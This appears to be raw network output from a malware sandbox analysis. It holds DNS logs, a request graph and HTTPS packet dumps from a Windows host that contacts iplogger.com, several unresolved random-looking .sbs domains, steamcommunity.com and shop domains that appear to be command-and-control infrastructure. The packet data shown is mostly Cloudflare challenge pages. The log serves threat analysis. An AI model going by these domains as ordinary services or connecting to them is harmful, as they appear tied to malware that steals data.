Jan 11, 2025 09:26:05.121253967 CET	1.1.1.1	192.168.2.7	0x954f	No error (0)	iplogger.com		104.21.76.57	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.121253967 CET	1.1.1.1	192.168.2.7	0x954f	No error (0)	iplogger.com		172.67.188.178	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.125049114 CET	1.1.1.1	192.168.2.7	0x9767	No error (0)	iplogger.com			65	IN (0x0001)	false
Jan 11, 2025 09:26:05.856720924 CET	1.1.1.1	192.168.2.7	0x8341	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.856720924 CET	1.1.1.1	192.168.2.7	0x8341	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.857772112 CET	1.1.1.1	192.168.2.7	0x9769	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 09:26:05.870649099 CET	1.1.1.1	192.168.2.7	0xe6c8	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.870649099 CET	1.1.1.1	192.168.2.7	0xe6c8	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:05.870989084 CET	1.1.1.1	192.168.2.7	0xd8ae	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 09:26:06.810976028 CET	1.1.1.1	192.168.2.7	0x7344	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:06.811261892 CET	1.1.1.1	192.168.2.7	0xc0cd	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2025 09:26:18.602082968 CET	1.1.1.1	192.168.2.7	0x23a4	Name error (3)	cashju1cyh0.cyou	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.615577936 CET	1.1.1.1	192.168.2.7	0x1021	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.626473904 CET	1.1.1.1	192.168.2.7	0x6441	Name error (3)	librari-night.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.637684107 CET	1.1.1.1	192.168.2.7	0xf815	Name error (3)	befall-sm0ker.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.649144888 CET	1.1.1.1	192.168.2.7	0x10a1	Name error (3)	p10tgrace.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.659051895 CET	1.1.1.1	192.168.2.7	0x1af4	Name error (3)	peepburry828.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.669132948 CET	1.1.1.1	192.168.2.7	0x6b47	Name error (3)	owner-vacat10n.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.679805994 CET	1.1.1.1	192.168.2.7	0x12f2	Name error (3)	3xp3cts1aim.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.689991951 CET	1.1.1.1	192.168.2.7	0x3904	Name error (3)	p3ar11fter.sbs	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:18.703013897 CET	1.1.1.1	192.168.2.7	0xb682	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:19.986721992 CET	1.1.1.1	192.168.2.7	0x3645	No error (0)	sputnik-1985.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:32.469458103 CET	1.1.1.1	192.168.2.7	0x1674	No error (0)	fitbudds.com		85.239.54.77	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:52.588335037 CET	1.1.1.1	192.168.2.7	0x6927	No error (0)	klipgylagyi.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:26:52.588335037 CET	1.1.1.1	192.168.2.7	0x6927	No error (0)	klipgylagyi.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:06.693784952 CET	1.1.1.1	192.168.2.7	0xddf3	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:06.694051027 CET	1.1.1.1	192.168.2.7	0xc23	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2025 09:27:15.067462921 CET	1.1.1.1	192.168.2.7	0xbfd3	No error (0)	klipgylagyi.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:15.067462921 CET	1.1.1.1	192.168.2.7	0xbfd3	No error (0)	klipgylagyi.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:34.185184002 CET	1.1.1.1	192.168.2.7	0xfa37	No error (0)	klipgylagyi.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:34.185184002 CET	1.1.1.1	192.168.2.7	0xfa37	No error (0)	klipgylagyi.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.com

a.nel.cloudflare.com

https:

challenges.cloudflare.com

steamcommunity.com

sputnik-1985.com

fitbudds.com

klipgylagyi.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	172.67.188.178	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:03 UTC	661	OUT	GET /15PRC4 HTTP/1.1 Host: iplogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:03 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Sat, 11 Jan 2025 08:26:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2025-01-11 08:26:03 UTC	899	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 67 68 77 36 59 41 30 73 75 37 38 58 4b 4d 78 65 63 4a 6e 4d 4f 5a 59 38 49 63 5a 63 4f 7a 4f 37 2f 50 48 59 73 76 37 6e 7a 4e 74 31 5a 70 4c 6a 53 49 69 52 46 32 4d 2b 55 51 36 65 30 56 63 68 51 62 34 32 67 75 6f 41 59 78 2b 48 46 2f 7a 53 30 70 51 77 6c 77 55 4f 65 34 44 51 77 34 45 2b 67 2f 79 54 42 5a 53 44 55 44 55 3d 24 2f 6c 4d 64 73 78 5a 53 52 55 57 5a 31 62 56 48 41 78 77 39 53 51 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: ghw6YA0su78XKMxecJnMOZY8IcZcOzO7/PHYsv7nzNt1ZpLjSIiRF2M+UQ6e0VchQb42guoAYx+HF/zS0pQwlwUOe4DQw4E+g/yTBZSDUDU=$/lMdsxZSRUWZ1bVHAxw9SQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 32 32 37 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 2272<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 46 54 4b 43 33 59 69 38 71 32 4e 68 62 54 58 44 6b 41 46 4e 45 6e 53 66 58 6f 35 33 69 77 4b 75 6f 66 6d 53 68 61 33 4c 4a 69 6a 33 67 61 56 65 50 43 39 77 50 36 46 53 50 48 6c 49 64 77 4a 73 6b 4b 6a 75 34 38 2e 74 7a 6e 5f 51 6a 67 33 55 55 54 6c 5f 7a 50 5a 62 31 56 47 41 54 43 33 59 51 6d 56 5f 38 58 5a 48 6a 67 6d 52 49 53 48 31 4c 48 61 45 7a 4b 6e 7a 6e 6c 67 79 66 6d 69 4d 4b 41 56 39 76 57 46 69 39 55 30 30 31 37 58 6e 32 42 42 56 50 41 35 57 62 56 4e 43 46 6b 6f 36 50 4c 51 33 70 61 57 54 62 33 39 32 46 76 39 71 56 53 57 56 49 62 61 35 47 5a 70 6d 58 6b 45 59 41 48 61 59 6d 74 6d 58 5f 62 63 65 72 50 66 62 79 77 7a 65 73 4b 42 70 34 51 74 46 43 69 57 49 63 66 44 67 4c 79 52 49 65 49 79 4e 72 30 51 47 32 63 6c 76 76 37 38 64 71 63 39 30 6d 36 7a Data Ascii: FTKC3Yi8q2NhbTXDkAFNEnSfXo53iwKuofmSha3LJij3gaVePC9wP6FSPHlIdwJskKju48.tzn_Qjg3UUTl_zPZb1VGATC3YQmV_8XZHjgmRISH1LHaEzKnznlgyfmiMKAV9vWFi9U0017Xn2BBVPA5WbVNCFko6PLQ3paWTb392Fv9qVSWVIba5GZpmXkEYAHaYmtmX_bcerPfbywzesKBp4QtFCiWIcfDgLyRIeIyNr0QG2clvv78dqc90m6z
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 56 48 46 69 43 4a 79 45 63 61 55 6e 4f 37 74 34 6d 32 59 50 69 4e 4c 35 4a 58 53 5a 6e 4b 56 52 50 4f 6b 57 68 79 45 30 69 61 77 72 5f 78 74 34 4d 38 63 34 67 77 44 34 33 59 68 47 5f 55 5f 5f 38 76 6c 49 37 6c 4f 50 65 69 2e 6f 67 63 76 44 72 2e 50 71 48 6a 42 75 43 51 66 33 53 4a 79 65 5f 54 6f 70 70 58 50 7a 70 61 6d 74 71 7a 33 44 79 6e 74 4f 32 46 55 76 63 42 4f 51 75 57 6c 6e 4a 4e 6d 35 66 5a 65 30 78 52 71 4b 75 2e 61 41 54 32 6a 77 35 34 54 62 64 4c 53 63 44 57 5f 67 78 79 73 52 47 76 39 30 6c 49 53 6e 52 45 41 77 45 4b 54 73 4a 72 50 66 72 2e 76 78 37 51 5f 4a 57 56 57 46 45 73 4b 5f 78 58 4a 6e 54 54 5f 68 30 36 78 4f 64 6c 62 4b 31 79 6d 71 74 31 44 75 37 51 6f 33 6e 70 70 75 5a 54 57 6e 73 39 5a 38 30 5a 55 62 77 58 73 43 47 30 47 78 57 67 6c Data Ascii: VHFiCJyEcaUnO7t4m2YPiNL5JXSZnKVRPOkWhyE0iawr_xt4M8c4gwD43YhG_U__8vlI7lOPei.ogcvDr.PqHjBuCQf3SJye_ToppXPzpamtqz3DyntO2FUvcBOQuWlnJNm5fZe0xRqKu.aAT2jw54TbdLScDW_gxysRGv90lISnREAwEKTsJrPfr.vx7Q_JWVWFEsK_xXJnTT_h06xOdlbK1ymqt1Du7Qo3nppuZTWns9Z80ZUbwXsCG0GxWgl
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 6a 61 56 4d 38 74 5f 78 73 75 42 5f 68 6e 73 53 75 73 69 6b 4d 32 4c 34 66 56 33 68 7a 46 43 75 70 51 78 33 38 34 58 41 45 6a 59 6b 75 67 46 35 73 41 6e 54 64 30 6c 5f 51 32 57 46 6b 32 5f 43 30 41 6e 70 66 45 79 56 4f 67 74 52 71 6b 76 34 76 74 73 56 47 45 56 39 32 52 44 6c 61 33 78 7a 46 77 54 4f 61 4c 50 49 51 4b 4e 44 67 44 4d 75 47 4b 7a 6c 67 4d 66 48 37 32 37 57 5a 70 50 77 48 54 2e 51 4f 6e 53 43 71 55 46 5f 33 67 54 76 52 6f 78 54 4e 70 53 67 44 52 41 61 59 74 76 4c 44 31 58 4a 5a 65 2e 42 4d 56 6a 35 78 37 4e 4e 4f 46 44 47 49 66 38 6b 4a 5f 43 70 50 6d 49 62 58 39 49 4c 78 68 49 43 34 55 2e 63 4e 33 39 53 35 54 49 57 56 39 4e 61 30 2e 33 34 6b 43 73 31 70 52 2e 4e 72 7a 31 78 78 44 57 73 72 55 46 76 37 59 54 31 6b 4c 4a 41 52 4c 6d 30 6a 64 47 Data Ascii: jaVM8t_xsuB_hnsSusikM2L4fV3hzFCupQx384XAEjYkugF5sAnTd0l_Q2WFk2_C0AnpfEyVOgtRqkv4vtsVGEV92RDla3xzFwTOaLPIQKNDgDMuGKzlgMfH727WZpPwHT.QOnSCqUF_3gTvRoxTNpSgDRAaYtvLD1XJZe.BMVj5x7NNOFDGIf8kJ_CpPmIbX9ILxhIC4U.cN39S5TIWV9Na0.34kCs1pR.Nrz1xxDWsrUFv7YT1kLJARLm0jdG
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 37 35 65 62 7a 59 33 61 69 6c 53 73 73 68 77 62 4b 39 71 36 37 38 79 51 38 50 49 49 6e 35 6c 34 59 4d 76 46 4d 4e 32 70 65 4b 69 51 59 78 51 72 6d 6f 4d 45 78 5a 49 5a 45 66 48 62 35 69 69 53 50 44 43 33 5f 44 68 6f 31 6a 38 34 6f 4e 2e 4c 6a 42 78 31 44 77 72 61 6e 78 66 32 47 6e 64 67 47 51 74 62 31 62 37 35 33 38 39 5a 59 4c 41 52 69 4d 53 52 6d 36 70 6b 66 51 76 70 5f 51 6b 50 56 4c 48 76 56 68 61 4f 55 45 61 57 31 4c 5a 54 43 6a 41 42 4f 51 7a 72 46 52 53 78 6c 79 77 56 78 6e 70 43 4f 4d 6e 54 69 63 45 49 42 6c 4c 51 42 52 6e 41 53 6d 69 4a 6e 4d 52 37 59 49 70 7a 31 68 68 2e 70 73 46 59 31 61 70 4e 51 31 43 7a 68 6a 55 57 55 30 6b 4f 5f 52 61 31 4e 68 42 62 57 43 58 44 70 32 74 55 67 66 39 38 54 4e 6b 52 75 52 57 57 4f 75 65 34 6a 57 31 68 44 43 61 Data Ascii: 75ebzY3ailSsshwbK9q678yQ8PIIn5l4YMvFMN2peKiQYxQrmoMExZIZEfHb5iiSPDC3_Dho1j84oN.LjBx1Dwranxf2GndgGQtb1b75389ZYLARiMSRm6pkfQvp_QkPVLHvVhaOUEaW1LZTCjABOQzrFRSxlywVxnpCOMnTicEIBlLQBRnASmiJnMR7YIpz1hh.psFY1apNQ1CzhjUWU0kO_Ra1NhBbWCXDp2tUgf98TNkRuRWWOue4jW1hDCa
2025-01-11 08:26:03 UTC	612	IN	Data Raw: 69 6f 6e 2e 68 72 65 66 2e 73 6c 69 63 65 28 30 2c 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 6c 65 6e 67 74 68 20 2d 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 2e 6c 65 6e 67 74 68 29 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 20 21 3d 3d 20 2d 31 20 3f 20 27 3f 27 20 3a 20 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 69 66 20 28 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 20 26 26 20 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 29 20 7b 76 61 72 20 6f 67 55 20 3d 20 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 51 75 65 72 79 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f Data Ascii: ion.href.slice(0, location.href.length - window._cf_chl_opt.cOgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history && window.history.replaceState) {var ogU = location.pathname + window._cf_chl_opt.cOgUQuery + window._cf_chl_opt.cO
2025-01-11 08:26:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49714	35.190.80.1	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:03 UTC	523	OUT	OPTIONS /report/v4?s=2sfT4WiK2kh0KxVY8WQeIpQLaTLvj7EYXIJ11DgZB7Rtf8wv0v1FykVXNCFMrAQskvoud7szqV0ho8Blco9XlLOYvjC4FtRPDntkHNAtlKqsDdh1xih79khymkBesfc%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://iplogger.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:03 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Sat, 11 Jan 2025 08:26:03 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49713	172.67.188.178	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:03 UTC	933	OUT	GET /15PRC4 HTTP/1.1 Host: iplogger.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:03 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Sat, 11 Jan 2025 08:26:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2025-01-11 08:26:03 UTC	904	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 69 72 58 72 44 70 52 69 6e 71 4d 34 30 4e 68 54 76 36 7a 65 4c 79 54 31 76 50 62 70 76 30 79 59 35 2b 4d 34 34 34 6f 6e 77 59 2b 74 74 74 48 4b 6b 46 6b 71 64 7a 74 53 44 73 69 65 61 6b 66 47 6d 58 6e 4b 64 6c 6d 49 44 71 68 6a 5a 72 6c 71 36 48 48 33 41 43 37 32 44 4b 49 72 4a 4d 7a 62 33 6c 2b 73 54 41 31 64 6e 61 41 3d 24 31 48 57 44 49 4a 48 44 6a 6c 47 4c 67 43 42 45 50 72 2b 45 65 41 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: irXrDpRinqM40NhTv6zeLyT1vPbpv0yY5+M444onwY+tttHKkFkqdztSDsieakfGmXnKdlmIDqhjZrlq6HH3AC72DKIrJMzb3l+sTA1dnaA=$1HWDIJHDjlGLgCBEPr+EeA==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2025-01-11 08:26:03 UTC	1369	IN	Data Raw: 32 33 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 231c<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
